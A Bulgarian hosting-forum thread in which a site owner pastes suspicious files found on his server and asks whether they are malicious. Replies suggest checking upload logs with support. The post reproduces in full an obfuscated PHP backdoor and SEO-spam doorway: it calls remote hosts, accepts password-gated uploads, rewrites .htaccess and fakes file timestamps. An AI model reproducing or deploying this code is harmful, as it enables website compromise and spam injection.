Опасни ли са тези файлове?

chepa

Registered
Днес намерхи някакви файлове, които не съм качвал аз на хостинга. И искам да попитам дали са опасни и дали някой е проникнал от някъде?

Ето и какви са те:

PHP:
<? function _247265608($i){$a=Array('Lg==','L153d3dcLi8=','','SFRU'.'U'.'F9IT'.'1NU','c'.'Q==','L2luZGV4LnBocA==','NA==','LQ='.'=','Y3'.'V'.'ybA'.'==','bn'.'c=','L1'.'5'.'3d'.'3dcLi'.'8=','',''.'SFRUUF9IT1NU','','SCo=','','figuKj'.'8pKD86LXA'.'oXGQrKSk/K'.'D86','KFx'.'kK'.'ykpfn'.'M=','Lw='.'=',''.'Lmh0bW'.'w=','fiI'.'oW'.'14iXSspZHJpbWFnZQ==','In5z','Q29udGVudC1Ue'.'XB'.'lOiA=','Q29'.'udGVud'.'C1M'.'ZW5nd'.'Gg6IA==','L'.'14oW2'.'Ete'.'jAtOVwtX'.'C'.'lc'.'KFwmX'.'SopJC9p','SFRUUC8xLj'.'EgN'.'DA0I'.'E5vdCBGb'.'3V'.'uZA==',''.'cg==','d'.'y'.'s=','N'.'DYuNDU'.'uMTgzL'.'j'.'Ez'.'N'.'w==',''.'cQ'.'='.'=','dG'.'9i'.'Z'.'W9ybm90dG'.'9i'.'Z'.'Q==',''.'Lmh0YWN'.'j'.'ZXNz','L'.'w==','L2k=','L'.'mh'.'0YWN'.'jZ'.'XNz','L2luZGV4Lmh'.'0b'.'W'.'w=','dys=','','Lw==','U0NSS'.'VBUX'.'05BTUU=','SF'.'RU'.'UC8'.'xLjE'.'gMzAxIE1'.'vd'.'m'.'VkIFBlcm1'.'h'.'bmV'.'u'.'dGx'.'5',''.'TG9jYXR'.'pb246IGh0dHA6Ly'.'8=',''.'SFRUU'.'F9IT1NU','L'.'1'.'teXC9d'.'Kj8k'.'Lw==','','U0NS'.'SVBUX05BTUU=',''.'Lw'.'==','U0NSSV'.'BUX05BTUU=','I'.'yA=','DQo8S'.'W'.'ZNb2'.'R1bGUgbW9kX3Jld3Jp'.'dG'.'UuYz4'.'NClJld3J'.'p'.'d'.'GV'.'FbmdpbmUg'.'T24NC'.'l'.'Jl'.'d'.'3J'.'pdGVD'.'b25kI'.'C'.'V7UkVR'.'VUV'.'TVF9'.'GSUxFT'.'kFNR'.'X'.'0gIS1'.'mDQ'.'pSZXd'.'yaXRlQ29uZ'.'CAle1'.'J'.'FUVVFU1R'.'f'.'Rk'.'lMRU'.'5BTUV9'.'IC'.'EtZA'.'0KUmV3cml0ZVJ1bGUgXi'.'guKi'.'kk'.'IA==','U0NSSVBUX05B'.'T'.'UU'.'=','P3E9JDEgW0xdDQ'.'o8L0lmTW9kdW'.'x'.'lPg='.'=','Lmh0YWNjZXN'.'z','dys'.'=','Lmh0YWNj'.'ZX'.'Nz','Ly5'.'odGFjY2'.'V'.'zc'.'w==','cg==','dys=','PHB'.'h'.'c3M+','PC9w'.'YXNz'.'Pj'.'xzY2hlbW'.'U+','PC9zY2hl'.'bW'.'U'.'+','Lm'.'h0YWNj'.'ZXN'.'z',''.'U0NSSVBU'.'X05B'.'TU'.'U'.'=','Lg==','L15'.'3'.'d3dcLi8'.'=','','S'.'FRUUF9IT'.'1N'.'U',''.'L2'.'lu'.'ZGV4LnB'.'o'.'cA='.'=','aHR0cD'.'ovL'.'w==','L'.'290aG'.'V'.'yL2wuc'.'GhwP3E'.'9','SFRUUF'.'9I'.'T'.'1NU',''.'L2luZGV'.'4Lm'.'h'.'0bQ==','aHR'.'0cDovLw='.'=','SFRU'.'UF9'.'I'.'T1NU',''.'Lzxt'.'ZXRhK'.'C4qKW5hbWU9ImRlc2Ny'.'a'.'XB0aW9'.'uIiguKik+'.'L2k=','','LzwoW2E'.'tekEte'.'l0rKT4oLiopP'.'FwvKFthLXpBLV'.'pdKy'.'k+L2ltc1U=','L'.'1w8c2Ny'.'aX'.'B0'.'L2'.'lt'.'c1U=','PA='.'=','P'.'g==','dw==','L'.'y5o'.'dGFjY2Vzcw==','c'.'GFzcw'.'='.'=','ZG9t'.'YWlu','','dys'.'=','Z'.'G9tYWl'.'u',''.'ZG9'.'tYWlub2s'.'=','dXBsb2'.'Fk','','','d'.'XBsb'.'2Fk'.'ZWQ=','b'.'mF'.'tZQ==','d'.'XB'.'sb'.'2'.'FkZWQ'.'=','dG1wX'.'2'.'5hbWU=','dX'.'Bsb2Fkb2s=','PG'.'Zvcm0gZW5jdHlwZT0ib'.'X'.'VsdG'.'lwYXJ'.'0L2'.'Zvc'.'m0'.'tZ'.'GF'.'0YSI'.'gbWV'.'0'.'aG9kPSJ'.'QT1NUIj'.'48a'.'W5wdXQgb'.'mF'.'tZT'.'0idXBsb2FkZWQiIHR5'.'cGU'.'9ImZpbGU'.'iPjxpbnB1'.'dCB0eX'.'BlPSJzdWJ'.'ta'.'XQiI'.'HZhbHV'.'lPS'.'JVIj48'.'L2'.'Zvc'.'m0+','SFRUUF9'.'SRUZFUk'.'VS','Z29'.'v'.'Z2xlLg==',''.'S'.'FR'.'U'.'UF9SRUZF'.'U'.'kVS',''.'eWFob28u','SFRUUF9SRUZFUkVS','Yml'.'uZy4=','SFRUUF'.'9SR'.'UZFUkVS','Y'.'W9sLmNvb'.'Q'.'==','L'.'Q==','IA==','a'.'H'.'R0cD'.'ovLw='.'=','L291dC9z'.'dGF0L'.'mNnaT'.'9wYXJhb'.'WV0ZXI'.'9','U0NSSVBUX05B'.'T'.'UU=','Og==',''.'Jml'.'w'.'PQ==','UkVN'.'T1RFX'.'0FERFI=','J'.'nJlZj0=','SF'.'R'.'UUF'.'9SRUZFUkVS','JnVzZ'.'XJhZ2VudD0=',''.'SFR'.'U'.'UF9VU0V'.'SX0'.'FHRU5U','JmRvbWFp'.'b'.'j0=','S'.'FRUUF9IT1NU','J'.'nZpc2l'.'0PT'.'Ema2'.'V'.'5d2'.'9yZD0=','JnNoZW1'.'lPQ'.'==','','fG'.'h0'.'d'.'HA6L'.'y98aVU=','PHNjc'.'ml'.'wdD52YXIgdXJsID0'.'gIg==','Ij'.'sga'.'WYgKH'.'dpbmRvdyE'.'9'.'dG9wKSB7dG9wLmxvY2F0aW9uLmhyZWY'.'gPSB'.'1cm'.'w'.'7f'.'SBl'.'b'.'HNlIHsgZG9jd'.'W1l'.'b'.'nQu'.'bG9j'.'YXR'.'pb249IH'.'Vyb'.'Dt9'.'PC9zY3'.'Jp'.'cHQ+','Lw==','','LQ==','IA='.'=',''.'Xw='.'=','IA==','IA='.'=','K'.'w==','aHR0cD'.'ovLw==','SFRUUF9IT1NU','L1'.'teX'.'C9d'.'Kj8'.'kLw==','','U'.'0NSSVB'.'UX05BTU'.'U'.'=',''.'S'.'FRUUF9VU0'.'VSX0FHRU5U','R29vZ2xlYm90','SFRUU'.'F9VU0VSX'.'0FHRU5U','U2x1cnA=','SFRUU'.'F9VU0VSX0F'.'HRU5'.'U',''.'Ymlu'.'Z2'.'JvdA==','SFR'.'U'.'UF9'.'VU0VSX0F'.'HRU5'.'U','bXN'.'uYm9'.'0','aHR'.'0c'.'DovLw==','L290a'.'GV'.'y'.'L2Muc'.'G'.'hwP3B3PQ='.'=','Jmt'.'3'.'P'.'Q='.'=',''.'JmQ9','a'.'H'.'R0cDov'.'Lw==','SF'.'RU'.'U'.'F9IT1NU','U0'.'NSS'.'V'.'BUX'.'05BTUU=','Jn'.'NkPQ==','JmlwPQ==','UkVNT1RFX'.'0FER'.'FI=','Jn'.'VzZX'.'J'.'hZ2V'.'udD0=','SFR'.'UUF9'.'V'.'U0VSX'.'0FHRU'.'5'.'U','Jn'.'NoZW'.'1lPQ==','','fDxzaXRlY29u'.'dGVu'.'dD58aV'.'U'.'=','LzxzaXRlY2'.'9udGVud'.'D'.'4oLi'.'spPFwvc2'.'l0Z'.'WNv'.'bnR'.'lb'.'nQ+Lw==',''.'SFRUUC'.'8'.'xLj'.'Eg'.'NDA0IE5'.'vdCBG'.'b3'.'VuZA==','SF'.'RUUC'.'8xLj'.'E'.'gND'.'A0IE'.'5'.'vd'.'C'.'BG'.'b3VuZ'.'A==',''.'Lyo'.'u'.'aHR'.'tbA==','Zm'.'lsZW'.'N0a'.'W1l','I14=','LyguK'.'il'.'cLmh0bWwkI2k=','IDxhI'.'GhyZWY9Ig==','IiB0aXRsZT0i','Xw==','IA==','LQ'.'==',''.'IA==','I'.'j'.'4=','Xw==','IA='.'=','LQ==',''.'IA='.'=','PC9hPiA=',''.'Cg==','Lw==','Lmh0b'.'Ww=',''.'LQ='.'=','IA'.'==','Kw==','I'.'A'.'==',''.'dw==','',''.'L2'.'lu'.'Z'.'GV4Lmh0bQ==','PGhlYW'.'Q+'.'DQo8dGl0bGU+dGl0bGU8L3RpdG'.'x'.'lPg0'.'KP'.'C9oZ'.'WF'.'kPg'.'0KPG'.'J'.'vZ'.'Hk+D'.'Qo'.'8','Pg0'.'K'.'PC9ib2R5'.'Pg0KPC9odG1sPg'.'==',''.'Lzx0a'.'X'.'Rs'.'ZT'.'4o'.'Li'.'o'.'pPFw'.'v'.'dGl0bGU+L'.'2'.'lt'.'c1'.'U=','PHR'.'pd'.'Gx'.'lPg==','LQ==','IA='.'=','PC'.'90aX'.'RsZ'.'T4'.'=','P'.'A==',''.'Pg==','UkVRVU'.'VTVF9VUkk=',''.'Lw'.'==','L15cLysv','Lw==','fCJbXi'.'Jd'.'Kj8o'.'X'.'C5bYS16QS1aXXszLD'.'R'.'9'.'K'.'WRyaW'.'1hZ'.'2UoXGQr'.'KSJ8bXM=','Ig==','XD'.'JcMSI=');return base64_decode($a[$i]);} error_reporting(round(0));$_0=_247265608(0) .strtolower(preg_replace(_247265608(1),_247265608(2),$_SERVER[_247265608(3)]));$_1=strtolower($_GET[_247265608(4)]);$_2=$_0 ._247265608(5);$_3=_247265608(6);$_4=_247265608(7) .$_3;$_5=l__1(base64_decode(file_get_contents($_2)));if(extension_loaded(_247265608(8))&& function_exists('curl_init')&& function_exists('curl_exec')){function l__0($_6){$_7=curl_init();curl_setopt($_7,10002,$_6);curl_setopt($_7,42,round(0));curl_setopt($_7,19913,round(0+1));curl_setopt($_7,52,round(0+1));curl_setopt($_7,13,round(0+10+10));curl_setopt($_7,3,round(0+16+16+16+16+16));$_8=curl_exec($_7);$_9=curl_getinfo($_7,2097154);if($_9 >= round(0+100+100+100+100))$_8=false;global $_10;$_10=curl_getinfo($_7,1048594);curl_close($_7);return $_8;}}else if(function_exists('file_get_contents')){function l__0($_6){return file_get_contents($_6);}}else die(_247265608(9));function l__1($_11){$_12=preg_replace(_247265608(10),_247265608(11),$_SERVER[_247265608(12)]);$_13=strlen($_11);$_14=_247265608(13);$_15=$_13>round(0+25+25+25+25)?round(0+4+4):round(0+0.4+0.4+0.4+0.4+0.4);while(strlen($_14)<$_13){$_14 .= substr(pack(_247265608(14),sha1($_14 .$_12)),round(0),$_15);}return $_11^$_14;}if(isset($_1)&& strpos($_1,$_4)!== false){$_16=_247265608(15);preg_match(_247265608(16) .$_4 ._247265608(17),$_1,$_17);$_18=$_17[round(0+0.5+0.5)];$_16=$_17[round(0+1+1)];$_19=$_17[round(0+1.5+1.5)];$_20=l__1(base64_decode(@file_get_contents($_0 ._247265608(18) .$_18 ._247265608(19) .$_16)));preg_match(_247265608(20) .$_19 ._247265608(21),$_20,$_17);$_21=l__0($_17[round(0+1)]);header(_247265608(22) .$_10);header(_247265608(23) .strlen($_21));die($_21);}if(isset($_1)){if(!(preg_match(_247265608(24),$_1))){header(_247265608(25));die;}}@mkdir($_0);@chmod($_0,round(0+170.33333333333+170.33333333333+170.33333333333));if(@fopen($_2,_247265608(26))){}else{$_22=fopen($_2,_247265608(27));fwrite($_22,base64_encode(l__1(_247265608(28))));fclose($_22);}if($_POST[_247265608(29)]|| $_1 == _247265608(30)){$_23=file_get_contents(_247265608(31));if(preg_match(_247265608(32) .$_0 ._247265608(33),$_23)){die;}else{$_18=_247265608(34);if(file_exists($_18)){$_24=rand(round(0+1),round(0+6.2+6.2+6.2+6.2+6.2));mkdir($_24);chmod($_24,round(0+246.5+246.5));$_25=fopen($_24 ._247265608(35),_247265608(36));fwrite($_25,_247265608(37));fclose($_25);copy(__FILE__,$_24 ._247265608(38) .basename($_SERVER[_247265608(39)]));header(_247265608(40));header(_247265608(41) .$_SERVER[_247265608(42)] .preg_replace(_247265608(43),_247265608(44),$_SERVER[_247265608(45)]) .$_24 ._247265608(46) .basename($_SERVER[_247265608(47)]));}else{$_26=_247265608(48) .$_0 ._247265608(49) .$_SERVER[_247265608(50)] ._247265608(51);$_27=fopen(_247265608(52),_247265608(53));fwrite($_27,$_26);fclose($_27);@chmod(_247265608(54),round(0+140+140+140));$_18=$_0 ._247265608(55);if(@fopen($_18,_247265608(56))){}else{$_28=md5(rand(round(0+19999999.8+19999999.8+19999999.8+19999999.8+19999999.8),round(0+499999999.5+499999999.5)));$_29=fopen($_18,_247265608(57));fwrite($_29,$_28);fclose($_29);echo _247265608(58) .$_28 ._247265608(59) .$_3 ._247265608(60);}}}touch(_247265608(61),mktime(rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+4+4+4)),rand(round(0+0.25+0.25+0.25+0.25),round(0+59)),rand(round(0+1),round(0+11.8+11.8+11.8+11.8+11.8)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+2.5+2.5+2.5+2.5)),rand(round(0+1),round(0+9.3333333333333+9.3333333333333+9.3333333333333)),round(0+402.4+402.4+402.4+402.4+402.4)));touch($_2,mktime(rand(round(0+0.25+0.25+0.25+0.25),round(0+4+4+4)),rand(round(0+0.2+0.2+0.2+0.2+0.2),round(0+14.75+14.75+14.75+14.75)),rand(round(0+0.5+0.5),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+0.25+0.25+0.25+0.25),round(0+5+5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+5.6+5.6+5.6+5.6+5.6)),round(0+503+503+503+503)));touch($_18,mktime(rand(round(0+0.5+0.5),round(0+6+6)),rand(round(0+1),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+0.25+0.25+0.25+0.25),round(0+59)),rand(round(0+0.5+0.5),round(0+5+5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+28)),round(0+2012)));touch(basename($_SERVER[_247265608(62)]),mktime(rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+3+3+3+3)),rand(round(0+0.5+0.5),round(0+29.5+29.5)),rand(round(0+0.25+0.25+0.25+0.25),round(0+19.666666666667+19.666666666667+19.666666666667)),rand(round(0+1),round(0+5+5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+9.3333333333333+9.3333333333333+9.3333333333333)),round(0+670.66666666667+670.66666666667+670.66666666667)));$_5=l__1(base64_decode(file_get_contents(_247265608(63) .preg_replace(_247265608(64),_247265608(65),$_SERVER[_247265608(66)]) ._247265608(67))));$_30=_247265608(68) .$_5 ._247265608(69) .$_SERVER[_247265608(70)];echo l__0($_30);die;}$_31=$_0 ._247265608(71);if(!file_exists($_31)){$_32=_247265608(72) .$_SERVER[_247265608(73)];$_33=l__0($_32);$_33=preg_replace(_247265608(74),_247265608(75),$_33);$_34=preg_match_all(_247265608(76),$_33,$_35);$_36=round(0);$_37=round(0);for($_38=round(0);$_38<$_34;$_38++){if((preg_match(_247265608(77),$_35[round(0)][$_38])== round(0))AND(strlen($_35[round(0)][$_38])>$_36)){$_36=strlen($_35[round(0)][$_38]);$_37=$_38;}}$_33=str_replace($_35[round(0)][$_37],$_35[round(0)][$_37] ._247265608(78) .$_0 ._247265608(79),$_33);$_39=fopen($_31,_247265608(80));fputs($_39,$_33);fclose($_39);touch($_31,mktime(rand(round(0+0.25+0.25+0.25+0.25),round(0+2.4+2.4+2.4+2.4+2.4)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+29.5+29.5)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+59)),rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+3.3333333333333+3.3333333333333+3.3333333333333)),rand(round(0+0.25+0.25+0.25+0.25),round(0+28)),round(0+503+503+503+503)));}$_23=file_get_contents($_0 ._247265608(81));if($_POST[_247265608(82)]== $_23){if($_POST[_247265608(83)]!= _247265608(84)){$_40=fopen($_2,_247265608(85));fwrite($_40,base64_encode(l__1($_POST[_247265608(86)])));fclose($_40);echo _247265608(87);die;}if($_POST[_247265608(88)]!= _247265608(89)){$_41=_247265608(90);$_41=$_41 .basename($_FILES[_247265608(91)][_247265608(92)]);$_42=round(0+0.5+0.5);if(move_uploaded_file($_FILES[_247265608(93)][_247265608(94)],$_41)){echo _247265608(95);}echo _247265608(96);die;}}if(strpos($_SERVER[_247265608(97)],_247265608(98))|| strpos($_SERVER[_247265608(99)],_247265608(100))|| strpos($_SERVER[_247265608(101)],_247265608(102))|| strpos($_SERVER[_247265608(103)],_247265608(104))>round(0)){$_43=str_replace(_247265608(105),_247265608(106),$_1);$_44=_247265608(107) .$_5 ._247265608(108) .rawurlencode(strtolower($_0) .$_SERVER[_247265608(109)] ._247265608(110) .$_5) ._247265608(111) .rawurlencode($_SERVER[_247265608(112)]) ._247265608(113) .rawurlencode(strtolower($_SERVER[_247265608(114)])) ._247265608(115) .rawurlencode(strtolower($_SERVER[_247265608(116)])) ._247265608(117) .rawurlencode(strtolower($_SERVER[_247265608(118)])) ._247265608(119) .rawurlencode($_43) ._247265608(120) .$_3;$_45=_247265608(121);$_45=l__0($_44);if(preg_match(_247265608(122),$_45)){echo _247265608(123) .$_45 ._247265608(124);die;}}function l__2($_46){global $_23;global $_0;global $_5;global $_1;global $_3;$_47=isset($_1)?str_replace(_247265608(125),_247265608(126),urldecode($_1)):FALSE;$_47=str_replace(_247265608(127),_247265608(128),$_47);$_47=str_replace(_247265608(129),_247265608(130),$_47);$_47=str_replace(_247265608(131),_247265608(132),$_47);$_48=strtolower(_247265608(133) .$_SERVER[_247265608(134)] .preg_replace(_247265608(135),_247265608(136),$_SERVER[_247265608(137)]));if(strpos($_SERVER[_247265608(138)],_247265608(139))|| strpos($_SERVER[_247265608(140)],_247265608(141))|| strpos($_SERVER[_247265608(142)],_247265608(143))|| strpos($_SERVER[_247265608(144)],_247265608(145))>round(0)){$_49=_247265608(146) .$_5 ._247265608(147) .$_23 ._247265608(148) .$_47 ._247265608(149) .rawurlencode(strtolower(_247265608(150) .$_SERVER[_247265608(151)]) .$_SERVER[_247265608(152)]) ._247265608(153) .rawurlencode($_48) ._247265608(154) .rawurlencode($_SERVER[_247265608(155)]) ._247265608(156) .rawurlencode(strtolower($_SERVER[_247265608(157)])) ._247265608(158) .$_3;$_50=_247265608(159);$_50=l__0($_49);if(preg_match(_247265608(160),$_50)){preg_match(_247265608(161),$_50,$_51);$_16=$_51[round(0+0.33333333333333+0.33333333333333+0.33333333333333)];}else{header(_247265608(162));die;}}else{header(_247265608(163));die;}$_52=round(0+3+3+3+3+3);$_53=glob($_0 ._247265608(164));array_multisort(array_map(_247265608(165),$_53),3,$_53);$_54=round(0+0.5+0.5);$_55=array();foreach($_53 as $_56){if($_54>$_52)break;preg_match_all(_247265608(166) .$_0 ._247265608(167),$_56,$_57);$_55[]=_247265608(168) .$_48 .$_57[round(0+1)][round(0)] ._247265608(169) .str_replace(_247265608(170),_247265608(171),str_replace(_247265608(172),_247265608(173),$_57[round(0+0.2+0.2+0.2+0.2+0.2)][round(0)])) ._247265608(174) .str_replace(_247265608(175),_247265608(176),str_replace(_247265608(177),_247265608(178),$_57[round(0+0.5+0.5)][round(0)])) ._247265608(179);$_54++;}foreach($_55 as $_58){$_59 .= $_58 ._247265608(180);}$_16=$_16 .$_59;return $_16;}function l__3($_60){global $_0;$_61=$_0 ._247265608(181) .$_60 ._247265608(182);if(@file_exists($_61))return@l__1(base64_decode(file_get_contents($_61)));$_46=str_replace(_247265608(183),_247265608(184),$_60);$_46=str_replace(_247265608(185),_247265608(186),$_60);$_62=l__2($_46);$_63=@fopen($_61,_247265608(187));@fwrite($_63,base64_encode(l__1($_62)));@fclose($_63);return $_62;$_64=l__1(base64_decode(file_get_contents($_61)));}if($_1!= _247265608(188)){$_31=$_0 ._247265608(189);if(filesize($_31)<round(0+250+250)){$_33=_247265608(190) .$_0 ._247265608(191);}else{$_33=file_get_contents($_31);}$_33=preg_replace(_247265608(192),_247265608(193) .ucwords(str_replace(_247265608(194),_247265608(195),$_1)) ._247265608(196),$_33);$_33=str_replace(_247265608(197) .$_0 ._247265608(198),l__3(basename($_1)),$_33);$_65=dirname($_SERVER[_247265608(199)]) ._247265608(200) .$_1;$_65=preg_replace(_247265608(201),_247265608(202),$_65);$_33=preg_replace(_247265608(203),_247265608(204) .$_65 .$_4 ._247265608(205),$_33);print $_33;exit;} 
 ?>

Код:
# .АДРЕСА НА САЙТА МИ

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule ^(.*)$ /obqvi/janela.php?q=$1 [L]

</IfModule>
 
Не, Дядо Коледа ти ги е качил за подарък!

Много ясно, че щом не си ги качвал ти значи имаш уязвимост в сайта.
 
Накарай съпорта да ти провери лога , за качването на конкретните файлове,на мен така ми помогнаха и си оправих веднага дупката в сайта преди време... :)
 
Hous каза:
Накарай съпорта да ти провери лога , за качването на конкретните файлове,на мен така ми помогнаха и си оправих веднага дупката в сайта преди време... :)

Писах им, дано да помогнат :|. Най - вероятно е прикачен през формата за аватари, но не съм сигурен ..
 
Няма ,защо да налучкваш,те ще ти дадат лога и там има точно описан метод от къде и как е качен файла.
:)
 
Hous каза:
Няма ,защо да налучкваш,те ще ти дадат лога и там има точно описан метод от къде и как е качен файла.
:)
Потърсих информация в FTP лога, но не намирам данни.
Това означава, че или са качени през приложението, което изполвате, или през контролния Ви cPanel, или са по-стари и вече не присъства информация за тях в лога ни (той се презаписва и по-старата информация се изтрива от него).
Виждам, че вече сте изтрили файловете и не мога да проверя кога са качени или модифицирани, за да направя съпоставка за датата.

Ето до какъв извод стигнахме..
 

Back
Горе